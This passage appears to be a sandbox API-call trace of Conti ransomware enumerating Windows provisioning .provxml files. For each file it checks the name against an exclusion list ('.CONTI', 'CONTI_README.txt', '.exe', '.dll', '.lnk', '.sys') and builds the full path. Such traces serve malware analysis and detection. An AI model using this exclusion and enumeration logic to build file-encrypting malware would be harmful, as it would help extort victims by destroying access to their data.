	[0106.859] lstrcmpiW (lpString1="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.859] lstrcmpiW (lpString1="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.859] StrStrIW (lpFirst="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.859] StrStrIW (lpFirst="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.859] StrStrIW (lpFirst="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.859] StrStrIW (lpFirst="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.859] StrStrIW (lpFirst="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.859] StrStrIW (lpFirst="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.859] StrStrIW (lpFirst="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.859] StrStrIW (lpFirst="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.859] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.859] lstrlenW (lpString="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml") returned 72
	[0106.859] GetProcessHeap () returned 0x1720000
	[0106.859] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x17bcbc8
	[0106.859] lstrcpyW (in: lpString1=0x17bcbc8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.859] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.859] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml"
	[0106.859] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="108__C~1.PRO")) returned 1
	[0106.859] lstrcmpiW (lpString1="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0106.859] lstrcmpiW (lpString1="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0106.859] StrStrIW (lpFirst="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0106.859] StrStrIW (lpFirst="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.859] StrStrIW (lpFirst="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0106.859] StrStrIW (lpFirst="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0106.859] StrStrIW (lpFirst="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0106.859] StrStrIW (lpFirst="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0106.859] StrStrIW (lpFirst="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0106.859] StrStrIW (lpFirst="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.860] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.860] lstrlenW (lpString="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0106.860] GetProcessHeap () returned 0x1720000
	[0106.860] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17bcd18
	[0106.860] lstrcpyW (in: lpString1=0x17bcd18, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.860] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.860] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0106.860] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", cAlternateFileName="109__C~1.PRO")) returned 1
	[0106.860] lstrcmpiW (lpString1="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.860] lstrcmpiW (lpString1="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.860] StrStrIW (lpFirst="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.860] StrStrIW (lpFirst="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.860] StrStrIW (lpFirst="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.860] StrStrIW (lpFirst="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.860] StrStrIW (lpFirst="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.860] StrStrIW (lpFirst="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.860] StrStrIW (lpFirst="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.860] StrStrIW (lpFirst="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.860] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.860] lstrlenW (lpString="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml") returned 71
	[0106.860] GetProcessHeap () returned 0x1720000
	[0106.860] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x17c8648
	[0106.860] lstrcpyW (in: lpString1=0x17c8648, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.860] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.860] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml"
	[0106.860] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90116bb1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90116bb1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90116bb1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="10__CO~1.PRO")) returned 1
	[0106.860] lstrcmpiW (lpString1="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.860] lstrcmpiW (lpString1="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.860] StrStrIW (lpFirst="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.860] StrStrIW (lpFirst="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.860] StrStrIW (lpFirst="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.860] StrStrIW (lpFirst="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.861] StrStrIW (lpFirst="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.861] StrStrIW (lpFirst="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.861] StrStrIW (lpFirst="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.861] StrStrIW (lpFirst="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.861] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.861] lstrlenW (lpString="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml") returned 66
	[0106.861] GetProcessHeap () returned 0x1720000
	[0106.861] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x17c9e20
	[0106.861] lstrcpyW (in: lpString1=0x17c9e20, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.861] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.861] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml"
	[0106.861] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="110__C~1.PRO")) returned 1
	[0106.861] lstrcmpiW (lpString1="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.861] lstrcmpiW (lpString1="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.861] StrStrIW (lpFirst="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.861] StrStrIW (lpFirst="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.861] StrStrIW (lpFirst="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.861] StrStrIW (lpFirst="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.861] StrStrIW (lpFirst="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.861] StrStrIW (lpFirst="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.861] StrStrIW (lpFirst="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.861] StrStrIW (lpFirst="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.861] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.861] lstrlenW (lpString="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml") returned 69
	[0106.861] GetProcessHeap () returned 0x1720000
	[0106.861] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x17c9f68
	[0106.861] lstrcpyW (in: lpString1=0x17c9f68, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.861] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.861] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml"
	[0106.861] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9048435b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9048435b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9048435b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", cAlternateFileName="111__C~1.PRO")) returned 1
	[0106.861] lstrcmpiW (lpString1="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.861] lstrcmpiW (lpString1="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.861] StrStrIW (lpFirst="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.861] StrStrIW (lpFirst="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.862] StrStrIW (lpFirst="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.862] StrStrIW (lpFirst="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.862] StrStrIW (lpFirst="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.862] StrStrIW (lpFirst="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.862] StrStrIW (lpFirst="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.862] StrStrIW (lpFirst="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.862] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.862] lstrlenW (lpString="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml") returned 69
	[0106.862] GetProcessHeap () returned 0x1720000
	[0106.862] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x17ca5d0
	[0106.862] lstrcpyW (in: lpString1=0x17ca5d0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.862] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0106.862] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml"
	[0106.862] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904aa5c6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x904aa5c6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x904aa5c6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", cAlternateFileName="112__C~1.PRO")) returned 1
	[0106.862] lstrcmpiW (lpString1="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0106.862] lstrcmpiW (lpString1="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0106.862] StrStrIW (lpFirst="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.862] StrStrIW (lpFirst="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.862] StrStrIW (lpFirst="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0106.862] StrStrIW (lpFirst="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0106.862] StrStrIW (lpFirst="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0106.862] StrStrIW (lpFirst="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0106.862] StrStrIW (lpFirst="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0106.862] StrStrIW (lpFirst="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.862] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0106.862] lstrlenW (lpString="112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml") returned 74
	[0106.862] GetProcessHeap () returned 0x1720000
	[0106.862] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x17c8798
	[0106.862] lstrcpyW (in: lpString1=0x17c8798, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0106.862] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
